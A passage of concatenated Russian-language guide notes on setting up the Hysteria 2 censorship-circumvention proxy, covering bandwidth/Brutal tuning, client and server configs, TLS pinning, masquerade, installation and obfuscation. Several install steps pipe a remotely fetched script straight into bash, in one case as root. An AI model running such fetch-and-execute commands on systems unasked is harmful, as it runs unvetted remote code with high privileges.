[[Hysteria/config-server|сервер]]. Обзор протокола — [[Hysteria/00-overview|тут]]. ## TL;DR - **Контроль перегрузки (congestion control)** — это алгоритм, решающий, как быстро слать данные, чтобы не забить канал. Hysteria умеет три: **Brutal** (свой), **BBR** и **Reno**. - Наличие секции `bandwidth` в конфиге — это и есть переключатель Brutal для данного направления. Есть `bandwidth` → работает Brutal; нет → работает BBR (по умолчанию). - **Brutal держит фиксированную заданную скорость и не сбрасывает её при потерях пакетов** — за счёт этого «выигрывает» полосу на перегруженных и потерянных каналах. Отсюда и название. - Плата за это: скорость надо задать **точно и чуть ниже реального максимума** канала. Завысите — получите перегрузку, потери и нестабильность вместо ускорения. - Для личного сервера проще всего: на сервере `bandwidth` НЕ указывать, а задать его только на клиенте — тогда Brutal возьмёт клиентские значения. ## Что такое контроль перегрузки простыми словами Когда программа шлёт данные в сеть, она не знает заранее, сколько канал вытянет. Алгоритм контроля перегрузки — это стратегия «прощупывания»: слать быстрее, пока не начнутся потери пакетов, потом притормозить. Разные алгоритмы реагируют на потери по-разному, и именно это определяет итоговую скорость. **Классические TCP-алгоритмы (Reno, Cubic) считают потерю пакета сигналом «канал перегружен» и резко снижают скорость.** Это разумно в проводной сети, где потеря почти всегда означает затор. Но в мобильной сети, на дальней международной линии или через перегруженный трансграничный стык пакеты теряются не из-за затора, а из-за качества канала. Классический алгоритм в такой ситуации постоянно «пугается» и держит скорость намного ниже возможной. ## Три алгоритма Hysteria **BBR** (Google) — оценивает пропускную способность по измерению задержек, а не по потерям. Работает сам по себе, `bandwidth` ему не нужен. Это разумный дефолт, если вы не хотите вручную задавать скорость. Тот же BBR, кстати, полезно включить и на уровне ядра сервера для TCP-соединений — см. [[VPS/BBR|включение BBR на VPS]]. **Reno** — простой и консервативный алгоритм по умолчанию из библиотеки quic-go. Выбирается через `congestion.type: reno`. **Brutal** — фирменный алгоритм Hysteria. Работает по модели **фиксированной скорости**: не снижает темп в ответ на потери или изменения задержки. Если не дотягивает до целевой скорости, он вычисляет процент потерь и компенсирует их, отправляя избыточные пакеты. Это очень эффективно «захватывает» полосу в перегруженных сетях с негарантированной доставкой — но работает, только если вы точно знаете и правильно указываете реальный максимум канала. > [!warning] Brutal работает, только если вы честно указали скорость > Brutal не измеряет канал сам — он верит вашему числу в `bandwidth` и старается его выдать любой ценой. Задайте меньше реального максимума — Brutal просто сработает как ограничитель скорости, ничего страшного. Но задайте БОЛЬШЕ, чем канал физически тянет, — и вы получите постоянные потери, нестабильное соединение и впустую потраченный трафик. Правило: ставьте значение чуть ниже реальной пропускной способности. ## Как включается Brutal Ключевой момент: **само наличие секции `bandwidth` для направления решает, использовать ли Brutal.** Если для направления `bandwidth` задан — работает Brutal; если нет — работает обычный контроль из секции `congestion` (по умолчанию BBR со стандартным профилем). Направления независимы. На клиенте: ```yaml bandwidth: up: 20 mbps down: 100 mbps ``` Если задать только `up` (или только `down`), то это направление пойдёт через Brutal, а другое — через BBR. Поддерживаемые единицы: `bps`/`b`, `kbps`/`kb`/`k`, `mbps`/`mb`/`m`, `gbps`/`gb`/`g`, `tbps`/`tb`/`t`. ## Как договариваются клиент и сервер Значения `bandwidth` на сервере работают как **лимит скорости** (потолок на каждого клиента), причём отдача сервера — это загрузка клиента, и наоборот. Итоговая скорость выбирается так: - Клиент задал `bandwidth` → используется Brutal. Если сервер тоже задал `bandwidth`, берётся **меньшее** из двух значений; если сервер не задавал — берётся клиентское. - Клиент не задал `bandwidth` → это направление идёт через не-Brutal контроль (BBR/Reno). - На сервере включён **`ignoreClientBandwidth: true`** → сервер игнорирует любые клиентские значения и всегда использует свой локальный не-Brutal контроль. Полезно, если владелец сервера не доверяет пользователям в честном указании скорости. > [!tip] Простой рецепт для личного сервера > Если сервер только для себя, не усложняйте: **на сервере уберите `bandwidth` и `ignoreClientBandwidth` вообще**, а скорость задайте только на клиенте. Тогда логика однозначна — есть клиентский `bandwidth` → работает Brutal с клиентскими значениями; нет → работает BBR. Настройку скорости держите в одном месте (клиент), это проще отлаживать. > [!note] Серверный лимит `bandwidth` влияет только на Brutal > Значения `bandwidth` на сервере ограничивают скорость только когда используется Brutal. На BBR и Reno они не действуют — это местный ограничитель именно для Brutal-режима. ## Важно: Hysteria не «ускоряет» UDP-протоколы Ускорение Brutal касается TCP-трафика, который заворачивается в QUIC. **UDP-трафик (например, сам HTTP/3) Hysteria не ускоряет** — она не уменьшает потери UDP, скорость таких соединений зависит от контроля перегрузки конечного сервера и браузера. Поэтому проксировать HTTP/3 через Hysteria смысла нет: наоборот, HTTP/3 в браузере на PC лучше отключить, чтобы он падал обратно на TCP-based HTTP/2, который Hysteria действительно ускоряет. В Chrome: `chrome://flags/` → `Experimental QUIC protocol` → `Disabled`. В Firefox: `about:config` → `network.http.http3.enable` → `false`. ## 📚 См. также - [[Hysteria/config-client|Конфиг клиента]] — где именно задаётся `bandwidth`. - [[Hysteria/config-server|Конфиг сервера]] — серверные лимиты и `ignoreClientBandwidth`. - [[VPS/BBR|Включение BBR на VPS]] — BBR на уровне ядра для TCP-соединений сервера. - 🔗 [Congestion control details](https://v2.hysteria.network/docs/advanced/Full-Server-Config/#congestion-control-details) · [Performance](https://v2.hysteria.network/docs/advanced/Performance/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/bandwidth-brutal.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - конфигурация - клиент - socks5 - tun aliases: - Конфиг клиента Hysteria 2 - Hysteria client config - Hysteria SOCKS5 TUN link: https://v2.hysteria.network/docs/getting-started/Client/ --- # 🦎 Hysteria 2 — конфиг клиента > [!info] О чём заметка > Как настроить клиентскую часть Hysteria 2 на своём устройстве: адрес сервера, пароль, локальный SOCKS5/HTTP-прокси и режим TUN (полноценный VPN-туннель). Серверную часть нужно поднять заранее — см. [[Hysteria/config-server|Конфиг сервера]]. Полный справочник по всем полям — в [официальной документации Full Client Config](https://v2.hysteria.network/docs/advanced/Full-Client-Config/). ## TL;DR - Клиент — тот же бинарник `hysteria`, запускается в режиме клиента (`./hysteria` или `./hysteria client`). Конфиг — `config.yaml` рядом с бинарником. - Минимум: `server` (адрес вашего сервера), `auth` (пароль с сервера) и хотя бы один режим — `socks5` или `http` (локальный прокси). - **`bandwidth`** включает алгоритм [[Hysteria/bandwidth-brutal|Brutal]]. Ставьте значения ЧУТЬ НИЖЕ реальной скорости канала — завышение только вредит. - Для **самоподписанного** сертификата на сервере — на клиенте `tls.insecure: true` вместе с `tls.pinSHA256` (проверка отпечатка защищает от подмены). - Начиная с версии 2.4.1 SOCKS5 и HTTP можно повесить на **один порт** — просто задайте им одинаковый `listen`. - **TUN-режим** превращает клиент в системный VPN (заворачивает весь трафик), работает на Windows, Linux, macOS. ## Базовый конфиг: SOCKS5 + HTTP прокси Самый частый сценарий — поднять локальный прокси, который приложения (браузер и т.д.) используют для выхода через ваш сервер. ```yaml server: your.domain.net:443 auth: Se7RAuFZ8Lzg bandwidth: up: 20 mbps down: 100 mbps socks5: listen: 127.0.0.1:1080 http: listen: 127.0.0.1:8080 ``` Поля: - **`server`** — адрес сервера в формате `host:port` (порт по умолчанию 443, можно опустить). Вместо этого можно вставить готовый URI `hysteria2://...` — тогда пароль и часть настроек уже внутри URI, и отдельно их не указывают. - **`auth`** — пароль, заданный на сервере. Если сервер использует `userpass`-аутентификацию, формат `username:password`. - **`bandwidth`** — заявленная скорость канала, включает Brutal. Подробно — [[Hysteria/bandwidth-brutal|в отдельной заметке]]. - **`socks5.listen`** / **`http.listen`** — на каком локальном адресе поднять прокси. `127.0.0.1` — доступ только с этого же устройства. > [!tip] SOCKS5 и HTTP на одном порту > С версии 2.4.1 клиент умеет отдавать оба протокола на одном порту: пропишите и `socks5`, и `http`, и укажите им **одинаковый** `listen` (например, оба `127.0.0.1:1080`). Тогда приложение может подключаться к этому порту как по SOCKS5, так и по HTTP. > [!note] IPv6-адрес сервера берите в кавычки > Некоторые значения конфликтуют с синтаксисом YAML. Например, IPv6-адрес с портом (`[2001:db8::1]:443`) сломает разбор файла. Оборачивайте такие значения в кавычки: `server: "[2001:db8::1]:443"`. ## Настройка скорости (bandwidth) Секция `bandwidth` определяет, использовать ли Brutal — фирменный алгоритм Hysteria, который держит фиксированную скорость и не проседает при потерях пакетов. Если секцию убрать, клиент возьмёт обычный контроль перегрузки (по умолчанию BBR). > [!warning] Больше — не значит лучше > Не завышайте `bandwidth` выше реальной пропускной способности вашего канала. Brutal попытается «выжать» указанную скорость независимо от потерь — если задать больше, чем канал тянет, это ударит по вам же: перегрузка, нестабильность, потеря данных. Ставьте значения чуть НИЖЕ реального максимума. Механика подробно разобрана в [[Hysteria/bandwidth-brutal|заметке про Brutal]]. ## TLS для самоподписанного сертификата Если сервер использует валидный сертификат (через [[Hysteria/config-server|ACME]]), секция `tls` на клиенте не нужна. Она требуется, только если сертификат самоподписанный. Лучший вариант — не отключать проверку полностью, а закрепить отпечаток сертификата: ```yaml tls: insecure: true pinSHA256: BA:88:45:17:A1... ``` - **`insecure: true`** отключает стандартную проверку доверия (иначе самоподписанный сертификат будет отвергнут). - **`pinSHA256`** закрепляет SHA-256 отпечаток сертификата сервера. Это возвращает защиту: клиент соединится, только если отпечаток совпал, — так атака «человек посередине» не пройдёт. Отпечаток можно получить из файла сертификата: `openssl x509 -noout -fingerprint -sha256 -in your_cert.crt`. > [!danger] Не используйте `insecure` в одиночку > `insecure: true` без `pinSHA256` делает соединение уязвимым к подмене (MITM): клиент примет любой сертификат, в том числе подставленный провайдером или цензором. Если сертификат самоподписанный — всегда добавляйте `pinSHA256`. А ещё лучше — используйте валидный сертификат через ACME и вообще не трогайте `insecure`. Альтернатива — указать доверенный CA-файл вместо отключения проверки: `tls: { ca: ca.crt }`. ## TUN-режим — системный VPN SOCKS5/HTTP-прокси заворачивают только те приложения, которые настроены на прокси. **TUN-режим** создаёт виртуальный сетевой интерфейс и перехватывает трафик всей системы — это то, что в интерфейсах других клиентов обычно и подписано как «режим VPN». Работает на Windows, Linux и macOS. Важно не спутать похожесть с тождеством: заворачивается весь трафик, но сам Hysteria 2 остаётся [[protocols/00-overview|прокси-протоколом]], а не VPN. Он по-прежнему переносит отдельные TCP- и UDP-соединения, просто теперь клиент сам собирает их из перехваченных IP-пакетов. Отсюда и ограничение ниже: ICMP через TUN не проходит. ```yaml server: your.domain.net:443 auth: Se7RAuFZ8Lzg tun: name: "hytun" address: ipv4: 100.100.100.101/30 ipv6: 2001::ffff:ffff:ffff:fff1/126 route: ipv4: [0.0.0.0/0] ipv6: ["2000::/3"] ipv4Exclude: [192.0.2.1/32] ipv6Exclude: ["2001:db8::1/128"] ``` > [!danger] Обязательно исключите адрес сервера из маршрутов > В `ipv4Exclude`/`ipv6Exclude` **добавьте IP вашего Hysteria-сервера** (в примере `192.0.2.1/32` — замените на реальный). Иначе трафик до самого сервера пойдёт в туннель, который идёт через этот же сервер, — получится петля маршрутизации, и соединение не поднимется. Особенности TUN: он умеет только TCP и UDP (не проксирует ICMP, то есть `ping` через туннель не пойдёт). На macOS имя интерфейса должно быть вида `utunN` (например, `utun123`). На FreeBSD TUN не поддерживается. > [!note] Для Linux-шлюза есть альтернатива — TPROXY > TUN — самый простой способ прозрачного проксирования и работает на всех ОС. Но если вы строите шлюз/роутер на Linux, который заворачивает трафик всей локальной сети, традиционный выбор — [[Hysteria/tproxy|прозрачный прокси через TPROXY]]: он работает через правила фаервола, а не виртуальный интерфейс. ## Запуск клиента ```bash ./hysteria # клиент — режим по умолчанию, config.yaml подхватится сам ./hysteria -c whatever.yaml # произвольное имя конфига ``` **Windows:** можно просто дважды кликнуть по `.exe`, если рядом лежит `config.yaml`. Признак успеха — в логах строка **«connected to server»** без ошибок. Клиент также выведет строку «use this URI to share your server» с готовым URI `hysteria2://...` — его удобно вставлять в другие клиенты как значение `server` (пароль и часть настроек уже внутри). При проблемах с подключением — [[Hysteria/troubleshooting|разбор ошибок]]. > [!note] Для новичков в прокси > SOCKS5/HTTP-прокси нужно ещё «подключить» в приложении. Для браузера удобно расширение [ZeroOmega](https://github.com/zero-peak/ZeroOmega) (Chrome/Firefox): в нём указываете адрес прокси (`127.0.0.1:1080`) и переключаете профили. ## 📚 См. также - [[Hysteria/config-server|Конфиг сервера]] — серверную часть надо настроить до клиента. - [[Hysteria/bandwidth-brutal|Скорость и Brutal]] — как правильно выставить `bandwidth`. - [[Hysteria/obfs-port-hopping|Обфускация и port hopping]] — если провайдер режет UDP/QUIC. - [[Hysteria/tproxy|Прозрачный прокси (TPROXY)]] — для Linux-шлюза на всю сеть. - [[Hysteria/realms-nat|Realms: сервер за NAT]] — подключение к серверу без белого IP. - [[Hysteria/troubleshooting|Решение проблем]] — расшифровка ошибок подключения. - 🔗 [Client tutorial](https://v2.hysteria.network/docs/getting-started/Client/) · [Full Client Config](https://v2.hysteria.network/docs/advanced/Full-Client-Config/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/config-client.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - конфигурация - tls - acme - masquerade aliases: - Конфиг сервера Hysteria 2 - Hysteria server config - Hysteria masquerade link: https://v2.hysteria.network/docs/getting-started/Server/ --- # 🦎 Hysteria 2 — конфиг сервера > [!info] О чём заметка > Как написать рабочий серверный `config.yaml` для Hysteria 2: получение TLS-сертификата (ACME или свой), пароль аутентификации, маскировка под сайт (`masquerade`) и запуск. Установка бинарника — в [[Hysteria/install-server|отдельной заметке]]. Полный справочник по всем полям — в [официальной документации Full Server Config](https://v2.hysteria.network/docs/advanced/Full-Server-Config/). ## TL;DR - Конфиг — это YAML-файл (`/etc/hysteria/config.yaml` при установке скриптом). Минимум для рабочего сервера: сертификат + `auth` (пароль) + опционально `masquerade`. - **С доменом** проще всего использовать `acme` — Hysteria сама получит и обновит бесплатный сертификат Let's Encrypt/ZeroSSL. **Без домена** — свой `tls` с самоподписанным сертификатом (тогда на клиенте нужен `insecure` + `pinSHA256`). - **`masquerade`** заставляет сервер отвечать на HTTP-запросы как настоящий сайт (режим `proxy` «ворует» контент чужого сайта). Это ключ к обходу цензуры — без него сервер на любой HTTP-запрос отдаёт «404 Not Found», что выглядит подозрительно. - Обязательно **замените пароль** на свой — это и есть единственная защита от чужих подключений. - После правки конфига — `systemctl restart hysteria-server.service`. ## Где лежит конфиг и как запускается При установке [[Hysteria/install-server|официальным скриптом]] конфиг — это `/etc/hysteria/config.yaml`, а сервис управляется через systemd (`systemctl restart hysteria-server.service`). При ручной установке вы сами кладёте `config.yaml` рядом с бинарником и запускаете `./hysteria server` (файл `config.yaml` подхватывается по умолчанию) или `./hysteria server -c whatever.yaml` для произвольного имени. ## Вариант A — сертификат через ACME (есть домен) Это рекомендуемый путь: указываете домен и email, Hysteria сама получает валидный TLS-сертификат и автоматически его продлевает. Домен должен указывать на IP сервера (A/AAAA-запись). ```yaml # listen: :443 acme: domains: - your.domain.net email: your@email.com auth: type: password password: Se7RAuFZ8Lzg masquerade: type: proxy proxy: url: https://news.ycombinator.com/ rewriteHost: true ``` Что здесь что: - **`listen`** — адрес и порт. По умолчанию `:443` (слушает и IPv4, и IPv6). Строку можно не указывать; раскомментируйте и поменяйте, только если нужен другой порт. `0.0.0.0:443` — только IPv4, `[::]:443` — только IPv6. - **`acme.domains`** — ваш домен (можно несколько). **`acme.email`** — почта для регистрации в центре сертификации. - **`auth`** — аутентификация клиентов. `type: password` — простой общий пароль. **Обязательно замените `password` на свой сильный пароль.** Он же указывается в клиенте. - **`masquerade`** — маскировка (см. ниже). ## Вариант B — собственный сертификат Если сертификат вы получаете сами (или он самоподписанный): ```yaml # listen: :443 tls: cert: your_cert.crt key: your_key.key auth: type: password password: Se7RAuFZ8Lzg masquerade: type: proxy proxy: url: https://news.ycombinator.com/ rewriteHost: true ``` `tls.cert` и `tls.key` — пути к файлам сертификата и ключа. Сертификаты перечитываются при каждом TLS-рукопожатии, поэтому обновлять файлы можно без перезапуска сервера. Если сертификат самоподписанный, на клиенте придётся указать `insecure: true` вместе с `pinSHA256` — подробнее в [[Hysteria/config-client|конфиге клиента]]. > [!tip] Нельзя одновременно `tls` и `acme` > В конфиге может быть либо секция `acme`, либо секция `tls`, но не обе сразу. Выбираете один способ получения сертификата. ## Masquerade — маскировка под настоящий сайт Одна из ключевых причин устойчивости Hysteria к цензуре — способность прикидываться обычным HTTP/3-трафиком. Мало того что пакеты выглядят как HTTP/3 для DPI — сервер ещё и **отвечает на HTTP-запросы как нормальный веб-сервер**. Но для правдоподобия сервер должен реально отдавать какой-то контент. Проще всего — режим `proxy`: сервер работает обратным прокси и «ворует» контент чужого сайта. Поменяйте `url` на сайт, под который хотите мимикрировать. `rewriteHost: true` подменяет заголовок `Host` на адрес проксируемого сайта — это нужно, если целевой сервер по `Host` решает, какой сайт отдавать. Другие режимы `masquerade`: - **`file`** — раздавать статические файлы из каталога (`dir: /www/masq`). - **`string`** — всегда возвращать заданную строку (`content: ...`, опционально свои `headers` и `statusCode`). - **`proxy`** — обратный прокси на чужой сайт (пример выше). > [!warning] Без masquerade сервер выдаёт «404» > Если убрать секцию `masquerade` целиком, Hysteria на любой HTTP-запрос будет отвечать «404 Not Found». Само по себе это не ломает прокси, но для стороннего наблюдателя (или цензора, который решит постучаться на ваш домен браузером) сервер, отдающий голый 404 на всё, выглядит подозрительнее, чем нормальный сайт. Если обход цензуры — цель, оставляйте `masquerade`. > [!note] Проверить маскировку можно браузером > Чтобы убедиться, что маскировка работает, запустите Chrome с флагом форс-QUIC: `chrome --origin-to-force-quic-on=your.site.com:443` (перед этим полностью закройте все процессы Chrome, иначе флаг не подействует), затем откройте `https://your.site.com` — должна отобразиться замаскированная страница. ## Запуск и проверка Если ставили скриптом — просто перезапустите сервис после правки конфига: ```sh systemctl restart hysteria-server.service journalctl --no-pager -e -u hysteria-server.service ``` Если запускаете бинарник вручную: ```bash sudo setcap cap_net_bind_service=+ep ./hysteria # разрешить порт 443 без root ./hysteria server # config.yaml подхватится сам ``` Признак успеха — в логах строка **«server up and running»** без ошибок. Дальше настройте [[Hysteria/config-client|клиент]]. > [!tip] Полезные необязательные поля > В [полном справочнике сервера](https://v2.hysteria.network/docs/advanced/Full-Server-Config/) есть много опций сверх минимума: несколько пользователей (`auth.type: userpass`), HTTP-аутентификация через свой бэкенд, лимиты скорости (`bandwidth` — см. [[Hysteria/bandwidth-brutal|Скорость и Brutal]]), [[Hysteria/acl-outbounds|ACL и outbound'ы]] для маршрутизации разного трафика по-разному, [[Hysteria/traffic-stats-api|Traffic Stats API]] для мониторинга, обфускация (см. [[Hysteria/obfs-port-hopping|Обфускация и port hopping]]). Если у сервера нет белого IP — его можно поднять за NAT через [[Hysteria/realms-nat|Realms]]. ## 📚 См. также - [[Hysteria/install-server|Установка сервера]] — предыдущий шаг: как получить бинарник и сервис. - [[Hysteria/config-client|Конфиг клиента]] — следующий шаг: настройка устройства. - [[Hysteria/bandwidth-brutal|Скорость и Brutal]] — про поле `bandwidth` и контроль перегрузки. - [[Hysteria/obfs-port-hopping|Обфускация и port hopping]] — если QUIC режется провайдером. - [[Hysteria/acl-outbounds|ACL и маршрутизация трафика]] — блокировка адресов и разведение по outbound'ам. - [[Hysteria/traffic-stats-api|Traffic Stats API]] — мониторинг и управление пользователями. - [[Hysteria/realms-nat|Realms: сервер за NAT]] — если нет белого IP. - 🔗 [Server tutorial](https://v2.hysteria.network/docs/getting-started/Server/) · [Full Server Config](https://v2.hysteria.network/docs/advanced/Full-Server-Config/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/config-server.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - установка - systemd - vps aliases: - Установка сервера Hysteria 2 - Hysteria install script - get.hy2.sh link: https://v2.hysteria.network/docs/getting-started/Installation/ --- # 🦎 Hysteria 2 — установка сервера > [!info] О чём заметка > Практический гайд по установке серверной части Hysteria 2 на Linux-VPS: официальный bash-скрипт с systemd-сервисом, ручная установка бинарника и Docker. Обзор протокола и модели «клиент-сервер» — в [[Hysteria/00-overview|обзорной заметке]]. После установки нужно написать конфиг — см. [[Hysteria/config-server|Конфиг сервера]]. ## TL;DR - Проще всего — официальный скрипт: `bash <(curl -fsSL https://get.hy2.sh/)`. Он ставит бинарник и заводит systemd-сервис `hysteria-server.service`. - Скрипт **только устанавливает** и создаёт пример конфига. Рабочий конфиг с доменом, паролем и сертификатом нужно [[Hysteria/config-server|написать вручную]] в `/etc/hysteria/config.yaml`, иначе сервис не запустится. - Конфиг лежит в `/etc/hysteria/config.yaml`, запуск/перезапуск — через `systemctl`, логи — через `journalctl`. - Нужен дистрибутив с systemd: Debian 11+, Ubuntu 22.04 LTS+, Rocky/CentOS Stream 8+, Fedora 37+. **CentOS 7 и busybox-системы (Alpine, OpenWrt) не поддерживаются.** - Один и тот же бинарник `hysteria` — это и сервер, и клиент; режим выбирается аргументом (`hysteria server` / `hysteria client`). ## Требования - **VPS с публичным IP** (IPv4 или IPv6 — оба подходят). Нет белого IP (дом, CGNAT, мобильный модем)? Сервер всё равно можно поднять — см. [[Hysteria/realms-nat|Realms: сервер за NAT]]. - **Домен, указывающий на IP сервера** (подойдёт и поддомен). Домен нужен, чтобы Hysteria автоматически получила TLS-сертификат через ACME (Let's Encrypt / ZeroSSL). Без домена придётся использовать самоподписанный сертификат — см. [[Hysteria/config-client|клиентский конфиг]], раздел про `insecure`/`pinSHA256`. - Для скрипта установки: система на **systemd** (команда `systemctl`) и установленные `bash`, `grep`, `curl`, GNU Coreutils (не busybox-версии). > [!tip] Какой дистрибутив выбрать новичку > Для нового VPS берите стабильную версию мейнстрим-дистрибутива не старше 2 лет. Рекомендованные официальной документацией: **Debian 11+**, **Ubuntu 22.04 LTS+**, Rocky Linux 8+, CentOS Stream 8+, Fedora 37+. Явно **избегайте CentOS 7** (старое ядро ломает QUIC-соединения). Не поддерживаются busybox-системы: OpenWrt, Alpine Linux, NixOS. ## Способ 1 — официальный скрипт установки (рекомендуется) Официальный bash-скрипт скачивает свежий бинарник, кладёт его в систему и настраивает systemd-сервис. Он аналогичен пакетному менеджеру: устанавливает и обновляет, но **сам сервис не настраивает до рабочего состояния** — генерирует только пример конфига. ### Установка или обновление Установить (или обновить до последней версии): ```sh bash <(curl -fsSL https://get.hy2.sh/) ``` Установить конкретную версию (например, `v2.9.3`): ```sh bash <(curl -fsSL https://get.hy2.sh/) --version v2.9.3 ``` ### Удаление ```sh bash <(curl -fsSL https://get.hy2.sh/) --remove ``` ### Полезные варианты запуска скрипта - **Установка из локального файла** — если VPS не может достучаться до GitHub Releases, скачайте бинарник вручную и передайте путь: `bash <(curl -fsSL https://get.hy2.sh/) --local /path/to/hysteria-linux-amd64`. - **Указать архитектуру** (в основном для AVX-сборки, она быстрее на поддерживающих AVX процессорах): `ARCHITECTURE=amd64-avx bash <(curl -fsSL https://get.hy2.sh/)`. - **Запуск от root** — если не хотите возиться с правами (например, при внешней генерации сертификатов): `HYSTERIA_USER=root bash <(curl -fsSL https://get.hy2.sh/)`. Вернуть обычного пользователя: `HYSTERIA_USER=hysteria bash <(curl -fsSL https://get.hy2.sh/)`. > [!warning] Скрипт не «настроит всё сам» > Официальный `get.hy2.sh` — это установщик, а не «мастер настройки под ключ». Он создаёт пример конфига, но не пропишет за вас домен, пароль и сертификат. Рабочий конфиг нужно написать самому (см. [[Hysteria/config-server|Конфиг сервера]]). Существуют сторонние «скрипты Hysteria 2», которые ставят и настраивают всё разом, но это чужой неофициальный код — запускать его от root на своём сервере стоит только осознанно и из доверенного источника. ## Управление сервисом (systemd) После установки скриптом сервис называется `hysteria-server.service`. Отредактировать конфиг: ```sh nano /etc/hysteria/config.yaml ``` Включить автозапуск и сразу стартовать: ```sh systemctl enable --now hysteria-server.service ``` Перезапустить (обычно после правки конфига): ```sh systemctl restart hysteria-server.service ``` Проверить статус: ```sh systemctl status hysteria-server.service ``` Посмотреть логи сервера: ```sh journalctl --no-pager -e -u hysteria-server.service ``` > [!tip] Как понять, что сервер поднялся > В логах должно появиться сообщение **«server up and running»** без ошибок. Если вместо этого видите ошибки про `permission denied` на порт 443 или про сертификат — загляните в [[Hysteria/troubleshooting|разбор проблем]]. ## Способ 2 — ручная установка бинарника Если systemd-скрипт не подходит (например, нестандартная система), можно скачать исполняемый файл напрямую. Ссылка вида `https://download.hysteria.network/app/latest/[имя файла]` всегда ведёт на последнюю версию — удобно для скриптов и автоматизации. Имена файлов для Linux (выберите под свою архитектуру): | Файл | Архитектура | Примечание | | --- | --- | --- | | `hysteria-linux-amd64` | x86-64 | обычный | | `hysteria-linux-amd64-avx` | x86-64 | требует поддержки AVX (быстрее) | | `hysteria-linux-arm64` | ARM64 | | | `hysteria-linux-arm` | ARMv7 | | | `hysteria-linux-386` | x86 | | Есть также сборки под Windows, macOS (включая ARM/M1), FreeBSD и Android (последние — ELF-бинарники под NDK, а не APK). Полный список — в [официальной документации](https://v2.hysteria.network/docs/getting-started/Installation/). Пример: скачать, сделать исполняемым и запустить как сервер с конфигом `config.yaml` в текущей папке: ```bash curl -fsSL -o hysteria https://download.hysteria.network/app/latest/hysteria-linux-amd64-avx chmod +x hysteria ./hysteria server -c config.yaml ``` > [!warning] Порт 443 требует привилегий > Hysteria по умолчанию слушает 443 порт, а порты ниже 1024 недоступны обычному пользователю. Либо запускайте от root, либо выдайте бинарнику право привязываться к привилегированным портам: `sudo setcap cap_net_bind_service=+ep ./hysteria`. Подробнее об этой ошибке — в [[Hysteria/troubleshooting|разборе проблем]]. ## Способ 3 — Docker Официальный образ — [tobyxdd/hysteria](https://hub.docker.com/r/tobyxdd/hysteria). Пример `docker-compose.yaml`: ```yaml version: "3.9" services: hysteria: image: tobyxdd/hysteria container_name: hysteria restart: always network_mode: "host" cap_add: - NET_ADMIN volumes: - acme:/acme - ./hysteria.yaml:/etc/hysteria.yaml command: ["server", "-c", "/etc/hysteria.yaml"] volumes: acme: ``` Capability `NET_ADMIN` нужна только если включён [[Hysteria/obfs-port-hopping|port hopping]] (серверу надо править правила фаервола). Для обычной работы её можно убрать. ## Что дальше После установки бинарник есть, но сервис ещё не работает — нужен конфиг. Переходите к [[Hysteria/config-server|написанию серверного конфига]]: домен, ACME-сертификат, пароль аутентификации и маскировка под сайт. ## 📚 См. также - [[Hysteria/00-overview|Hysteria 2 — обзор]] — что это за протокол и кому подходит. - [[Hysteria/config-server|Конфиг сервера]] — следующий обязательный шаг после установки. - [[Hysteria/troubleshooting|Решение проблем]] — если сервис не стартует. - 🔗 [Installation — официальная документация](https://v2.hysteria.network/docs/getting-started/Installation/) - 🔗 [Server Installation Script — детали скрипта](https://v2.hysteria.network/docs/getting-started/Server-Installation-Script/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/install-server.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - обход-блокировок - обфускация - port-hopping - quic aliases: - Hysteria обфускация - Hysteria port hopping - Hysteria Salamander - Hysteria обход DPI link: https://v2.hysteria.network/docs/advanced/Port-Hopping/ --- # 🦎 Hysteria 2 — обфускация и port hopping > [!info] О чём заметка > Что делать, если провайдер мешает Hysteria: два независимых приёма — **обфускация** (шифрует пакеты так, что они перестают выглядеть как QUIC/HTTP/3) и **port hopping** (постоянная смена порта, чтобы обойти блокировку/троттлинг конкретного UDP-порта). Базовые конфиги — в заметках [[Hysteria/config-server|сервер]] и [[Hysteria/config-client|клиент]]. Обзор протокола — [[Hysteria/00-overview|тут]]. ## TL;DR - **Обфускация** нужна, когда сеть блокирует именно QUIC/HTTP/3 (но не UDP вообще). Она превращает пакеты в «случайный шум», убирая узнаваемый почерк QUIC. Реализации — **Salamander** и экспериментальный **Gecko**. - Пароль обфускации должен **совпадать** на сервере и клиенте. Неверный пароль = таймаут подключения, как будто сервер выключен. - **Port hopping** нужен, когда провайдер блокирует или троттлит долгие UDP-сессии на конкретном порту. Клиент постоянно случайно меняет порт из заданного диапазона. - Включение обфускации ломает совместимость со стандартным QUIC — сервер перестаёт быть валидным HTTP/3-сервером, [[Hysteria/config-server|masquerade]] под настоящий сайт больше не работает. Это осознанный размен. - Оба приёма независимы: можно включить только один, оба или ни одного. ## Когда что применять Сначала разберитесь, что именно ломает провайдер — от этого зависит выбор приёма: - **Всё работает, но иногда рвётся / троттлится через время** — вероятно, режут долгие UDP-сессии на порту. → **Port hopping**. - **Соединение вообще не поднимается, при этом другой UDP-трафик ходит** — вероятно, DPI распознаёт и блокирует именно QUIC/HTTP/3. → **Обфускация**. - **UDP зарезан полностью (любой)** — ни один приём Hysteria не поможет, protocol работает поверх UDP. Держите 